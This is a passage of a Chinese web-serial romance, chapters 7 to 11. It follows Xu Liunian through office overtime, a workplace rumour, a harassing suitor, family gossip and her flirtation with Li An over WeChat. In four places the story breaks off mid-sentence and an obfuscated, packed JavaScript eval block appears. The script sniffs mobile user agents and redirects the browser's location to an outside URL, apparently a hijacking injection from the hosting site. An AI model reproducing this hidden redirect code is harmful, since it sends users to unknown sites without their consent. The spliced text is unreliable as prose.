唐珏也反应过来，“对对，我就是看着好玩随手一拍。” 圭圭看起来没什么意见，欣赏完照片还主动询问：“姐姐可以发给我吗？我要给我妈妈看。” “行啊。” 鉴于圭圭没有微信，那照片只能让唐珏发给许流年然后许流年再发给李黯李黯再发给圭圭他妈…… 这是什么俄罗斯套娃层层外包。 许流年自以为很聪明快刀斩乱麻：“你俩加个微信不就行了。” 李黯跟唐珏同时扭头看她。 唐珏掐她胳膊把人拉过来耳语：“啊不是，你看上的男人让我加？我这个闺蜜还怎么做人？” 许流年：“……” “行，发给我吧。”她妥协了，套娃就套娃吧。 李黯也没说什么。 已经到了门口，因为她俩一通介绍菜单以及用餐体验，舅侄俩成功被劝退，分别时还被推荐了另一家她们都觉得不错的餐厅。 圭圭依依不舍：“姐姐下次一起吃饭哦。” “嗯嗯，拜拜～” 各上各车，吃饭的吃饭，回家的回家。 到车上唐珏就忍不住开始八卦：“那谁啊？你不是不喜欢小白脸吗？” “你不懂，他有热植墙。” “……我就知道，不然你也看不上，”唐珏对植物一直都不太感兴趣，“我记得你也有不少养植物的朋友吧，也没看你关注人家呀。” “那些不是已婚就是gay。” “真的？！” “真的。” “那个本地博主也是？” “是的。”上次换苗她还见过人家男朋友。 “那你怎么知道这个就不是？” 许流年沉默了。 她没想过这个问题。 他们这个圈子吧……小众也小众，人多也的确是人多，而且不知道是因为什么玄学真的很吸引某类人群，大环境如此，确实有很大概率…… 许流年沉痛想了片刻，“那就做朋友吧。” 抱个大腿也是好的。 谈恋爱哪有苗圃大佬重要。 许流年很快就释然了。 因为这个猜测，她今晚甚至拘谨地没有骚扰人家，一路上都在编辑朋友圈。 满满九宫格美照。 不枉费她今日的日抛加全妆。 朋友圈很快就收获一堆点赞，许流年等了半天，没等来他的点赞。 也很快招来苍蝇。 坏笑哥发过来一张她朋友圈截图，还扣了个问号。 许流年反手扣了个问号发过去。 神经。 她平时日常生活都是发在私人号上，而她加这位坏笑哥用的是工作号，所以这张朋友圈截图肯定是她私人号好友发给坏笑哥的。 工作前期她没这个意识，但一个月后就公私分开了，这就造成一个尴尬的时间差。 她刚进公司时用自己的私人号加过一圈同事，这几年陆陆续续有同事离职，不再联系后许流年就会清掉，但仍旧有部分现任同事在好友列表，而她又不好意思直接跟人说：这是我私人号咱们关系没到这地步要不互删好友吧。 就这样搁置下来。 许流年抱怨两句，唐珏打个哈欠建议：“你给这几个专门弄个分组呗。” “我就是懒得分组，每次都得选，本来私人号的好友就是经过筛选的，结果现在又要删选一遍。”许流年越说越烦躁。 但她却不知道这个截图她朋友圈发给坏笑哥的是哪一位。 Elvis：没想到你夜生活这么丰富啊。 Elvis：这个餐厅还挺贵的，你跟朋友一起去的吗？ Elvis：我知道一家黑珍珠餐厅也很不错，要不改天一起去吃？记得穿裙子哦【坏笑】，看得出来你身材很好。 许流年正在研 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553754|186831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 究那张截图，研究完看见这一连串消息差点给她今天吃的猪皮冻给吐出来。 如果她有罪可以让她在股市吃十个跌停，而是不派这位坏笑哥来骚扰她。 难道这就是报应吗？她骚扰大平层，坏笑哥骚扰她，这世界就是一个巨大的因果循环。 许流年通过那张截图上的点赞以及时间截图，找到了这位“老同事”。 她直接把坏笑哥给她扣的问号截图发给了这位同事。 补仓娇妻带球跑：不好意思哈，这是我私人的号，现在想想不适合加同事，你有我的工作号，有什么事情那个号联系我就行，我工作时间都在线。咱们这个号就互删吧。 对方也很快发来一个好。 许流年立马就给人删了，同时翻了个白眼，再把其他几位“老同事”好友权限设置成仅聊天。 世界清净了。 一通操作，到家了。 许流年今天健了身，吃也没吃好，这裙子难得穿起来不怎么勒，脱得很方便，洗漱完两人一人一张贵妇面膜躺沙发上开着电视玩手机一边闲聊。 “我接到你妈给我介绍那个金融哥的电话了今天。” “哦，然后呢？” “他问我是不是认识叶征，我觉得咱俩没啥希望了。” “行吧，那微信转给我，我试试。”许流年愉悦接茬。 “……” “啧，舍不得啊？”许流年扭头看她。 “倒也不是，”唐珏今天接到那个电话脑子就有点乱，其实她自己也没想清楚，“只是觉得如果他们是一个圈子，那金融哥应该也不是什么好东西，怕你被虐。” “也是哦。”原本没多想的许流年忽然神经一紧。 叶征是唐珏高中时期的初恋，两人恋爱断断续续长达五年，期间叶征出轨、乱搞、酗酒、动手，集渣男之大全，但同时，在唐珏失去父母时也是他日日夜夜守在身边，甚至陪着她去死过一回，彻底解开她的心结。 跟这样一个矛盾的人做切割是痛苦又漫长的，大一大二时许流年认识的唐珏跟现在完全不一样，她总是很忙碌，忙着考试忙着实习忙着给男朋友收拾烂摊子去警局提人。 唐珏突然提起叶征，肯定是出了什么事。 “别告诉我，叶征回国了啊。”许流年麻木地开口。 最近她周围怎么都是霸总剧本啊。 “金融哥说他一个月前就到江城了。”唐珏还很惆怅。 “你可一定要守住！我的姐妹！”许流年一个激灵窜起来握着她的手，“千万不要重蹈覆辙！不然……” “不然咋样？” “完了，你这语气竟然还挺期待。”许流年又躺了回去。 唐珏深深叹了口气，“我努力，我坚持。” “不然娇妻剧本给你吧。” “……谢邀，婉拒。” 8. 第 8 章 许流年相信，现在二十八岁的唐珏肯定不会像十八岁时那样再为了一个渣男一往无前。 人的热情不是永久保鲜的，经历了一次，无论如何都会大打折扣。 况且…… “叶征也快三十了吧，他那么年轻就抽烟酗酒，估计现在都有啤酒肚开始脱发了吧，说不定已经变成油腻中年男了。” 许流年不少高中同学就是走的这个蜕变路子。 明明高中时期还是小鲜肉，十年过去，跟三十年过去似的，老就别说了，更严重的是那种腌进烟草味的社会气息，流里流气的，有的爹味还很重。 唐珏试着想了下叶征三十岁的样子，狠狠给自己恶心到了。 想想那被烟熏了十年的大黄牙，隆起的啤酒肚，稀疏的头顶毛，以及快速退化的男性功能。 这不是初恋，这是她该死的黑历史。 刚知道叶征回国消息的唐珏或许还有些许年轻时的幻想，现在，呵呵。 “我听说你前男友在一院是主治医师了？那咱们去他们医院体检能给优惠吗？”唐珏问。 “你要体检？正好我也一起，我问问。” 许流年当初可是和平分手。 两位牛马，一个发配进医院忙得昏天黑地不舍昼夜，一个踏入黑心工厂每天都在猝死边缘挣扎，根本没时间谈恋爱，长达三个月都毫无联系之后，医院的那位牛马终于憋不住给她发了条消息：要不算了吧，我不想耽误你。 那时候许流年还是个天真无邪初入社会的精神牛马，还真觉得他是因为自己刚进医院人微言轻无法给女朋友陪伴心生愧疚才想放她自由。 她还挺感动地回了一句：嗯，你好好照顾自己。 很快过一段时间许流年就回过味儿来了，再看这位前任就鼻子不是鼻子眼睛不是眼睛哪哪都不顺眼，曾在前任犯贱吃回头草聊骚的时候冷言嘲讽过，也故意答应饭局却放人家鸽子茶里茶气折磨过，但到现在，许流年已经没什么感觉了。 大概对方也知道她之前是在报复，也刻意保持着距离，时至今日两人依旧维持着成年人友好的体面，上次建国同志住院许流年还给他包个了红包让他帮帮忙，人家也收了。 许流年直接给这位主治医师发了消息。 钟晖：没有。 钟晖：你爸妈要体检？ 钟晖：老人家身体有什么问题吗？ 唐珏看着她手机上不断弹出的消息，狠狠酸了。 “这小子肯定是余情未了，大晚上秒回消息，还这么殷勤，不安好心。” 许流年挑眉，“有没有可能是因为我今晚发的朋友圈呢？” 她还看见这位前任点赞了呢，估计没少欣赏吧。 唐珏恍然大悟。 许流年并不想跟这位多聊，免得给人家旧情复燃的错觉，回了个“没有就算了，没什么事。” 对方很快又发过来。 钟晖：看你今天去吃饭了，那家餐厅怎么样，好吃吗？ 唐珏一个白眼。 许流年却不回复了。 唐珏：“咋了，咋不回？人家问你话呢。” “我为什么要顺着他说话，秒回显得我对他多感兴趣似的。”她打算明早空闲了给他回个不好吃就完了，不然又得没完没了地扯七扯八浪费时间。 两人在沙发一边撸狗一边八卦双方高中时期同学，接近十二点才滚去睡觉。 难得的周末，明天没事情干，许流年生物钟作祟困得要死沾枕头就睡。 第二天早起刷手机，直接无视前男友的消息，点开朋友圈。 大平层新发了一条朋友圈。 是她昨天推荐的那家汤包店。 没有文字，但是看旁边垒起来的笼屉就知道他跟他好侄子没少吃。 许流年狗腿地去点赞留评：好吃吧【狗头】 意料之外，竟然很快就有回复。 李黯：嗯。 许流年一个打挺翻身起床去刷牙，一边去跟人私聊。 九月股神降临：这么早？你不会周六加班吧？ 许流年已经对娇妻两个字PTSD，连夜改了昵称。 他似乎也很清闲有空跟她闲聊。 李黯：没加班，失眠。 九月股神降临：为啥？ 李黯：汤包吃多了。 九月股神降临：…… 李黯：换名字了？ 九月股神降临：是的，现在请叫我巴菲特。 李黯：巴菲特退出A股了。 九月股神降临：巴菲特避我锋芒。 李黯：…… 许流年沉迷打字咬着牙刷半天，对着手机邪魅一笑。 呵，男人，你也被我的股神气势迷到了吧。 不过这人竟然已经工作，结合他这么大个侄子，那年纪应该不小咯？ 难怪她之前一个劲儿问人家放假什么的他不搭理呢，估计是觉得她很无语了。 许流年前几年也有一段时间经常被人认成大学生，扎个丸子头的时候甚至倒退回高中生。 那年她二十三，还在读研，暑假在家父母上班去了，她穿着外婆给她私人定制的纯棉睡衣，被狂砸门吵醒，战战兢兢去开门，原本声势浩荡的物业阿姨一下子就和善起来，她再一句“爸妈不在家，他们晚上才下班。” 阿姨们就说没关系没关系，让她转告爸妈交物业费就行。 如今她烫了渣女波浪卷，衣服也走成熟路线，今年物业看见她还催她交物业费呢。 现在想想，还怪惆怅的。 人好像突然就长大了。 李黯那边没再发消息，许流年看看时间已经快九点，脑子里一琢磨。 为了给大平层一个好印象，她得把自己的人设立起来。 她翻出昨天去健身房拍的照片，不带人的那种，单纯的环境照。 九月股神降临：健身房打卡，早上锻炼完神清气爽，又是自律的一天。 李黯：…… 李黯：下次发网图找个早上九点的光线。 李黯：健身房窗户看见西边太阳了。 许流年当场尬住，手忙脚乱撤回刚刚两条消息，悲愤刷完牙洗完脸，脑子稍稍清醒再发消息。 九月股神降临：你就当什么都没看见。 李黯：我没瞎。 九月股神降临：早点睡吧，这个年纪通宵容易猝死的。 李黯：？ 李黯：是在威胁我吗？ 九月股神降临：我是在关心你，弟弟。 许流年一大早在洗手间噼里啪啦打字呆了快半个钟，唐珏都担心她出什么事。 “你把我家马桶拉堵了吗？蹲这么久会长痔疮的宝贝！” 许流年：…… 我谢谢你。 大平层应该是去睡觉了，没再跟她闲扯，许流年洗漱完收拾好东西就打道回府。 回去路上给王女士跟建国同志带了某个网红甜品店的甜品。 毕竟算起来她家也算是郊区，这种好东西只能来市中心买，平时她披星戴月的没时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她爷爷奶奶骨子里重男轻女，以至于许流年唯一的亲姑姑跟家里关系特别差，她长这么大也只是在爷爷七十大寿当天见过一年，这么多年都在别的城市，普通节假日根本不会回来。 爷爷奶奶最看重的就是做生意的大伯父，小叔虽然不争气但嘴甜，又是老幺，就格外受偏袒些，但最近几年小叔开店失败，爷爷奶奶找大伯父让他帮忙支援弟弟，大伯父从前就没少被爹妈哄着补贴弟弟，因为这事跟大伯母吵了好几次架，不知道是年纪上来还是突然想明白了，这次大伯父说什么也不肯出钱填这个窟窿，于是家里的气氛就僵了下来。 当然，这些跟他们家这个不受宠的老二是没什么关系的。 建国同志没有大哥有本事，也不像弟弟有张巧嘴会说话，他性格内向言语少，结婚前每个月还很听话地给家里交家用，后来因为结婚想找父母要回那笔钱补贴小家被拒绝以及婚礼的种种，他就死心了，再加上王女士也不是好惹的，爷爷奶奶看无法掌控二儿子，也没办法，只能每次家庭聚会阴阳几句说他不孝顺娶了媳妇忘了娘，哦对，还不争气只剩了一个女儿，家里连个儿子都没有。 许流年不喜欢爷爷奶奶，但对家里的八卦很感兴趣，每次都能跟她妈唠几个小时。 母女俩吃着榴莲千层一边细说这次小叔开店失败引发的连锁反应，建国同志就在厨房给她们洗水果，时不时被叫来补充两句细节。 太精彩了，许流年手机都没时间玩。 她都想今年去大伯家看看现场。 9. 第 9 章 周一至，牛马归位。 俗话说得好，周日就是为了周一上班休养生息做准备的。 许流年一早上爬起来吃了早饭拿上车钥匙就出门，完美与早高峰嵌合。 在车内听歌狂欢堵车间隙刷了下消息，大平层又发了朋友圈，是她推荐的网红甜品店，还露了半张圭圭的圆脸蛋，嘴角的奶油看起来吃的很香。 她点了赞，又去私聊骚扰人家。 九月股神降临：怎么样，好吃吧？ 他这个时间大概率不会回复，毕竟住大平层的人怎么可能会早八点堵在早高峰呢？人家说不定睡得正香。 李黯没消息，昨天没搭理的坏笑哥倒是深夜又骚扰了她十几条，她直接给人消息屏蔽了，前任哥倒是很识相沉默下去。 许流年脑子一琢磨。 不行，她今天就要把坏笑哥这个麻烦给解决掉。 周一有例会，事情忙，但她的做事风格就是该忙忙，该闲闲，她要在最忙的时候把事情全部处理干净，以换取接下来的清净。 到公司后许流年第一时间让整个小组自查是否有未提交的数据，再次重申核对完的数据立马提交不要攒着不交，每日任务量表格也严格按照提交量填，不要重复。 她在上头难得严肃说事情，底下卧龙凤雏一声都不敢吭。 周末加班改数据，周一还得核查自己有没有没提交或者过期的数据，她俩现在任务量爆表。 好在谢飞跟他手底下那位实习生没出差错，今天还能正常工作。 开完会，许流年冷着脸去走廊倒水冷静冷静。 正好人事部的同事过来看见她，笑嘻嘻地打招呼，看这架势估计就是专门来找她的。 不用问都知道是来问她这几个实习生的情况。 许流年也懒得跟她寒暄浪费口舌。 “我就直说了，那个周荔不适合待在我这，一个月了，错误率还是百分之百，我带不了。” 周荔=卧龙=荔枝泡泡。 人事部同事：“哎呀，我知道这小姑娘适应得有点慢，最近应该好起来了，听说周末还加了两天班嘛，这不是孺子可教也？” “呵呵。”许流年冷笑，“你这么看好她怎么不把她安排到你们人事部，不是刚离职两个，不缺人手吗？” “她一个法语系的，来人事部干嘛。” “你知道她法语系的，送到我英语组干嘛？” “不都说学小语种的英语都是基础嘛。” “她六级都没过！” “她考雅思了呀。” “考了！不是考过了！5.5分！” “5.5分也够用嘛。” 许流年头疼，不想跟她扯，“反正这个人我不要。” “不行啊，”同事面露难色，凑过来小声道：“咱们副总的侄女，真不能走。” 许流年右眼皮狠狠一跳，没想到荔枝泡泡还有这样的后台，她整个人都麻了。 “本来也是在她们两个里面选一个，另一个你可以不要啊。” “人家好歹还对了五分之一，还是英语专业。”她不得不为凤雏说句话了，至少人家态度端正，而且才来一个礼拜已经有显著进步了。 “那没办法，关系户，还这么硬，副总特地打招呼了的。” 许流年明白了。 今天她特地来找自己估计也是那位副总施压，让她来给她打招呼。 救命，那她还要带着这位荔枝泡泡干多少年？ “哎，工作嘛，马马虎虎就过去了，别太放在心上。” 同事叹口气，拍拍她肩膀，走了。 许流年沉默抓狂。 这破公司赶紧倒闭吧！ 最好给她辞退！ 艹*^%**“@口口口\**^# 忙完一个上午，午饭她准备下去吃然后在车里睡个午觉好好休息，结果就在餐厅碰到财务大姐。 许流年看她走过来就开始在心里喊救命。 “哎呀小许！”财务大姐踩着高跟鞋兴奋地快步走过来，“真巧啊，一起吃饭呀！” 这饭不吃也罢。 让她饿死吧。 但许流年很快记起来。 来的也正好，她得把坏笑哥处理了。 端着饭坐下，没等大姐开口许流年就先发制人：“姐，是我不识好歹，这个Elvis我高攀不起，我晚点就把他删了。” 财务大姐一脸疑惑：“为啥啊？人家小伙子一表人材，又会赚钱，你还看不上？” 重点在最后一句“看不上”上边。 许流年面带微笑：“我爸妈也没您这么着急。” “你都没见过本人怎么知道不行呢？你好歹见一见啊。” 有些人光是线上聊就够折磨她了。 “是我不识好歹，您还是介绍给别人吧，我就不见了。” “他是不是有什么问题？你觉得他哪里不好？” “是我高攀不起。” “你怎么算高攀？小许可不许说这种话！你条件这么好你都配不上还有谁配得上啊！” “是我不识好歹，浪费您的一片苦心。” “哎呀小许你别这样，我又没怪你……” 无论财务大姐说什么，许流年就来来回回“不识好歹”“高攀不起”，终于把大姐说烦了，她再拿出手机当场删了坏笑哥的好友。 大姐也没办法。 大姐走了。 许流年的午休也快到头了。 而她今天还要加班到晚九点。 许流年坐在工位上只觉得人生悲凉。 晚饭时候，又跟上次在走廊闲聊的同事碰上，两人唉声叹气，交流了最新情报。 沈青青：“总部那边加班的通知下来了，九月跟十月周六加班，其他照常。” 这句话当中最恐怖的不是周六加班，而是最后一句“其他照常”。 “照常是什么意思？意思是一三五到九点，周六也到九点？！”许流年破防了，尾音甚至不受控制地高昂起来差点拉破音。 沈青青：“接受现实吧姐妹，就是这样，据说是因为国庆八天假。” “八天假怎么了！全国都这样！不是有调休吗！他怎么连坐十月份了！非得把这八天补回来是吧！” “就是这个意思。”沈青青比她早知道这个消息，她已经提前破防过了，因此现在情绪没有许流年这么激动。 但这不是她们能改变的。 于是沈青青聊起另一件八卦，还跟许流年有关，这消息今早在他们那边发酵起来了。 “听说你把那谁删了？” “嗯。” “是因为她跟隔壁Elvis关系好，你嫉妒她，所以删了？” “啊？” 许流年懵了。 啊不是，怎么传成这样？ “我听到的版本是这样的，你看中隔壁花蝴蝶也就是Elvis，然后让财务大姐牵线搭桥，结果昨晚你发现他跟那位有微信好友，你醋意大发，删了她的好友，还跟Elvis冷战导致一大早Elvis就来财务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553756|186831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大姐这边诉苦……” “什么？！” 这简直是危言耸听！ 许流年跟平白无故被人泼了一身洋辣子似的一下子就炸了。 她被气的又笑又愤怒。 她想拿出手机给沈青青看她跟那个坏笑哥的聊天记录让她知道到底是谁舔谁，结果想起来自己刚刚才把人家删了，消息记录也跟着灰飞烟灭。 她现在就是浑身长满嘴也说不清了。 “你知道的，全公司都知道你跟那谁关系不好的。”沈青青看她这样一脸懵，“所以大家都信了，觉得你是嫉妒她。” “我？嫉妒她？”许流年脑子一下子宕机，这事的逻辑已经超出她的处理范畴，荒谬到这几个字她都陌生了。 没想到她只是加了个相亲对象事情就变成这样。 这破公司，赶紧倒闭！ 许流年为证清白，亲自去登电脑调出她跟那个坏笑男以及某被她“嫉妒”同事的聊天记录，聊天记录实在太短，一拉就到头，简单明了。 沈青青看完：“……” 两人对视一眼。 “我明白了。”沈青青恍然大悟，“前段时间那谁一直在公司炫耀她跟花蝴蝶加了微信吃了饭，结果没想到花蝴蝶转头找财务大姐加了你，她就癫狂了，疯魔了，知道你私人号出去玩就截图发给花蝴蝶，挑拨你们关系！” 沈青青捋明白了。 但众所周知，一旦事实真相太过曲折，群众是记不住的。 许流年也不可能一个一个去解释。 她深吸一口气。 算了。 今天还要加班，项目还要推进，她要真太在意这些屁话纯粹就是自我折磨。 “他们爱怎么想就怎么想吧。”许流年把所有聊天记录拍照存好，避免之后又发生什么更离谱的事，提前备份总是好的。 沈青青拍拍她肩膀安慰她：“没事哒没事哒，下周六加班周日国庆调休，咱们可不能倒在这啊！” 许流年：“我谢谢你。” 等等。 也就是说，从今天到国庆节，全是班！ 全是！ 全都是！ 哈哈哈哈哈哈哈哈哈哈哈哈！ 原来她昨天前天一不小心就度过了九月跟十月唯一的正常双休。 哈哈哈哈哈哈哈哈哈哈哈哈哈哈！ 许流年真想现在就猝死在工位上。 然而她还得继续干活，加班到晚九点。 她一整个晚上都不想搭理人。 直到手机亮起。 大平层给她发来消息，她稍稍打起精神。 李黯：味道还可以。 什么味道还可以？ 许流年加班加到停滞不前的脑子转悠了好几圈才想起来。 哦，是说她推荐的甜品店味道还可以。 许流年无力打字。 南村群童欺我老无力：你都下班了吧。 南村群童欺我老无力：【工位照】而我还在工位上【死亡微笑】 李黯：？ 李黯：你进的哪个园区？ 李黯：晚上八点半还在加班？ 南村群童欺我老无力：别说了，破防了。 李黯：…… 李黯：又换名字了？ 南村群童欺我老无力：是的。 南村群童欺我老无力：还有下半句想知道吗？ 李黯：？ 南村群童欺我老无力：垃圾加班kill me。 李黯：6 10. 第 10 章 剩下半小时在跟大平层增进关系中度过。 许流年下班时看见公司其他人也都是一副被榨干的模样，心里越发悲凉。 这样的日子，还得持续一个多月。 麻烦老天给她拉下进度条直接到十一月吧。 等等，先让她把国庆假期过完再拉。 接下来直到国庆，许流年都是早七点起床晚十点半归家，睡眠时间都不够，更没有心思想其他，唐珏叫她去健身房她直接甩出自己的日程表，唐大小姐就识相退下了。 流言蜚语也没时间管，她每天浑浑噩噩，常常坐在工位上脑袋放空，看着面前一个一个提交上来的错误数据，已经生不出任何情绪，只是想笑。 谢飞来找她的时候，她就是这副呆滞模样。 看见她的电脑屏幕，密密麻麻全是手底下两个实习生的错误数据，以及跟荔枝泡泡的聊天记录。 荔枝泡泡：许姐，immediately是什么意思呀？ 荔枝泡泡：许姐，这个回车是怎么回事？ 荔枝泡泡：许姐，我之前过期的数据能找回来吗？ 荔枝泡泡：不会让我再重新做吧【流泪】 荔枝泡泡：姐，这个consumption指的是哪一个啊？ 本来想跟许流年反映手底下实习生情况的谢飞狠狠闭了嘴。 他挑了些值得庆幸的好消息跟她汇报。 许流年面上毫无波澜：“哦，知道了。” 她对项目进度已经无所吊谓了。 “姐，想开点，”谢飞感同身受叹口气，去加班了。 许流年选择无视卧龙。 要不是她还想体面，她现在就该狠狠嘲讽这位关系户。 你去问你副总小姨immediately是什么意思啊！ 拿她当欧路词典啊！ 但凡知道上网，查个单词难道不会吗！ 许流年内心狂躁过后，重新冷静下来核算数据，推进工作。 然而她刚刚平静下来，被忽视许久的卧龙亲自找来了。 “许姐你在啊，我还以为你不在工位，我给你发了那么多消息怎么不回呀？” 小姑娘抱着星巴克笑嘻嘻地一手撑在她工位上。 许流年深吸口气，抬头死鱼眼看着她：“你当我是ChatGPT吗？” 周荔：“……” “还是当我是欧路词典？” 周荔：“……” “你四级是自己考的吗？immediately不知道？不知道就算了还不会上网查？” 周荔：“……” 大家都在加班，办公室内气氛本来就死气沉沉，许流年声音不算大，但却在出声的那一刻周围一下子安静下来，显得她声格外大格外凶。 不少人从工位探出头出来看发生了什么。 周荔原本笑嘻嘻的脸已经尴尬得通红。 “以后没事别给我发消息。”许流年冷冷回头继续工作。 周荔吸了吸鼻子，回去了。 周围恢复鸦雀无声。 许流年也不在乎她哭没哭，反正她是清净了，能安安稳稳加班了。 随便吧。 就这样熬了一个礼拜，终于活到九月三十号，明天就放假，办公室终于有了活人气息。 走廊的恋爱小伙已经连续好几天在走廊计划这个十一要怎么跟女朋友过。 许流年不知道他女朋友了解清楚没，反正整个公司倒是都知道了他的旅行计划。 这几天凤雏数据正确率提高了很多，基本上算是上手了，项目进展也算顺利，卧龙被她上次训了一顿再没来找过她，给她发消息也都是一些简单的“收到”“数据已提交”之类的，许流年没了拖累清净下来，效率都提高了。 连续将近两周的加班，竟然真给她项目加快不少，领导看了会很高兴吧。 “看来加班是有用的嘛。” 许流年一想到刚刚跟上司对接时听见的这句话，只觉得后背发凉。 好在，有长达八天的十一假期。 *** 其实一开始，李黯是不想加这个好友的。 但是既然当初鬼使神差地加了，他就察觉到自己应该是有什么不对劲的地方，至于是不是对这个人感兴趣，他还需要进一步确认。 所以两人线上聊得挺开心的，——他觉得。 直到那天“垃圾加班kill me”之后，这位巴菲特就断联了。 断联这个词其实并不准确，准确来说是她突然间不来骚扰他了。 李黯把他们两人之间的聊天记录翻了一遍，仔仔细细看过，也没发现自己有什么不对的地方，应该是没得罪她的。 那问题出在哪？ 他上网搜了一下。 女生断联是因为什么？ 大众给出的答案是：有新欢了。 李黯看着这条狠狠沉默了。 她这个年纪，估计平时有很多人给她介绍相亲吧？身边应该不缺男人。 一想到她没骚扰自己改去骚扰别人，李黯就有一种若有若无的烦躁。 因为明天就放假，李璋今天幼儿园放假格外早，回到家就折腾他的热植，时不时来折磨在沙发上躺尸的他舅。 “舅舅舅舅，我们今天晚上吃什么呀？” “汤包。” “又是汤包。”李璋一张圆脸皱巴起来。 他都吃了很久很久的汤包了。 汤包好吃，但是不能一直吃啊。 “不想吃？”李黯看向他。 李璋老实点头。 李黯伸手把自己的手机递过去：“给许流年发消息，问她还有什么好吃的。” 李璋一下子就高兴起来，抓过手机，一下就找到姐姐的微信，点进去，发语音—— “姐姐姐姐还有没有什么好吃的呀？我跟舅舅吃了一个月的汤包了！我快变成汤包了！” 李黯听着他胡说八道。 明明也才吃了十二天汤包。 他是无所谓的，只要能填饱肚子就行。 许流年在晚高峰的灿烂车流中堵的生不如死，也是在这时候收到新消息。 她戳开一看。 语音消息？ 大平层从来没给她发过语音消息。 说起大平层，好像确实很久没跟他联系了。 许流年点开。 车内爆炸重金属音乐暂停，一道脆生生的小孩嗓音冒了出来，问她有什么好吃的。 许流年被圭圭逗笑，也给他发语音：“我还在开车，一会儿给你发。” 又继续发：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553757|186831||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你拿你舅舅的手机呀，你舅舅呢？” 对着小孩子说话就忍不住变夹子音。 那边很快发来消息：“舅舅说就当他死了。” 许流年：“……” 但她很快就记起来自己冷落大平层几乎半个月这件事。 好好的搞暧昧突然断联确实挺没礼貌的。 许流年最近忙是一个原因，另一个原因是她每次一看微信就是工作以至于大平层被新的消息压下去，她一直都看不见，看不见就记不起来，所以就这样搁置了。 真不怪她。 要怪就怪她这个天天加班的破工作吧。 “咳咳，我连续加班快半个月了，真不是故意不找你的。” 这句也是语音。 然后，那边就又发了一条语音消息过来。 “怎么可能有公司天天加班？” 声音怪好听的，在车内放出来立体循环，就显得格外有磁性，许流年浑身上下一下子就酥了，平白无故起了层鸡皮疙瘩。 许流年为了证明自己的清白，截图公司加班通知，自己的最近打卡记录，一齐发了过去。 然后发语音，“别生气啦，我放假了。” 哼，玩暧昧，她怎么可能不会。 对面不知道是在看她发过去的图片还是有其他事，过了一会儿才发消息过来，而许流年正好过拥堵路段，没时间查看消息，一脚油门跟上前车，堵住侧面试图插队的车，顺利进入车流，速度也提了起来。 上高速，更不方便看手机了，许流年专心开车。 直到回家，才拿起手机听消息。 “我为什么要生气？” 干巴巴的一句，明显透露着不高兴。 许流年笑了，给他发了几个自己收藏的店铺推荐他们去吃，然后补充一句。 “我到家了。” “刚刚在高速，不方便回消息。” 那边又没有回复，许流年估计是刚刚她突然长时间没回消息，大平层心里有点膈应，不想显得自己太上赶着，故意拖延不回消息。 即使看见了也不回，不然多掉价啊。 许流年很能理解年轻人的心态。 于是她也心态很好地换鞋放东西，然后跟爸妈确认回外婆家的计划。 去外婆家得开车两个半小时，礼品什么的已经提前买好，至于外婆喜欢的甜品许流年也抽空午休的时候买了带回来，东西基本上都准备好了，规划了路线，一家人决定—— 今晚十点出发，过凌晨下高速！ 这样不仅能节省时间多在外婆家玩两天，也能省下高速费。 今天建国同志开车，他早早就下班，把东西都放车上了，所以许流年一回家就马不停蹄收拾好自己的东西再次出门。 到车上，她才开始玩手机。 大平层又发来消息，这次是文字。 时间离她的回复过了半小时。 李黯：既然放假了，明天一起吃饭？ 许流年在车后座狠狠沉默了。 她打字回复：我明天就到外婆家了。 李黯：那今晚？ 许流年继续打字：我现在，就在车上。 那边就没消息了。 许流年看着车窗外乌漆嘛黑的夜景。 完了，她想着。 11. 第 11 章 ——等我五号回江城请你吃饭。 许流年赶紧打字发过去。 五号，黄花菜都凉了吧…… 救命，她可能真的跟大平层无缘。 好不容易把人钓得主动约饭了，结果自己这个大聪明为了省高速费连夜出逃江城。 哦不，除了自己。 许流年看向车窗外一望无际的车流。 还有成千上万个跟他们家一样的大聪明。 “这群人疯了吧！省这几块钱高速费干啥！怎么上个高速还堵成这样？！”建国同志在车流中左挡右遮，根本拦不住二并一车流中挑他是软柿子来捏的插车。 “闭嘴吧，踩油门，你跟前车空一个车头别人不□□插谁？！”王女士在副驾驶实在是忍不了他一秒一刹车，给她都晃晕车了。 “离这么近会追尾的！” 